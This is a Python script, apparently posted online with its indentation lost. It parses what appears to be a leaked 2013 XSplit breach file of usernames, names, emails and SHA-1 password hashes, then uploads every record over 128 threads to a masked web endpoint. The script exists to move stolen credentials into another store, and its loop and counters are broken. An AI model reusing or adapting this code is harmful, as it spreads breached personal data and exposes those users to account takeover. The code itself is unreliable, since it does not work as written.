import requests, queue, sys
from threading import Lock, Thread
class ThreadedPOSTClient:
def __init__(self, endpoint):
self.endpoint = endpoint
self.lines, self.success, self.fails = 0, 0, 0
self.queue = queue.Queue()
self._start()
def print_status(self):
while True:
sys.stdout.write("Successful Uploads: {} Failed Uploads: {}\r".format(str(self.success), str(self.fails)))
def _post(self, data):
try:
status = requests.post(self.endpoint, data=data).text
if status == "success":
self.success += 1
else:
self.fails += 1
except Exception as e:
pass
def _thread(self):
while True:
worker = self.queue.get()
self._post(worker)
self.queue.task_done()
def _start(self):
for x in range(128):
t = Thread(target=self._thread, args=())
t.daemon = True
t.start()
thread = Thread(target=self.print_status, args=(), daemon=True)
thread.start()
with open('Xsplit Plain SHA1 Parsed-full.txt', 'r', encoding='latin-1') as inf:
try:
line = inf.readline().split('\t')
while len(line) > 1:
data = {
'username': line[0],
'first_name': line[1].split(' ')[0],
'last_name': line[1].split(' ')[1:],
'full_name': line[1],
'email': line[2],
'password_hash': line[3].strip(),
'encryption_method': "SHA-1",
'website': "xsplit",
'date': "11-2013"
}
self.queue.put(data)
except Exception as e:
self.fails += 1
finally:
line = inf.readline().split('\t')
lines += 1
self.queue.join()
ThreadedPOSTClient('http://????.com')
Comments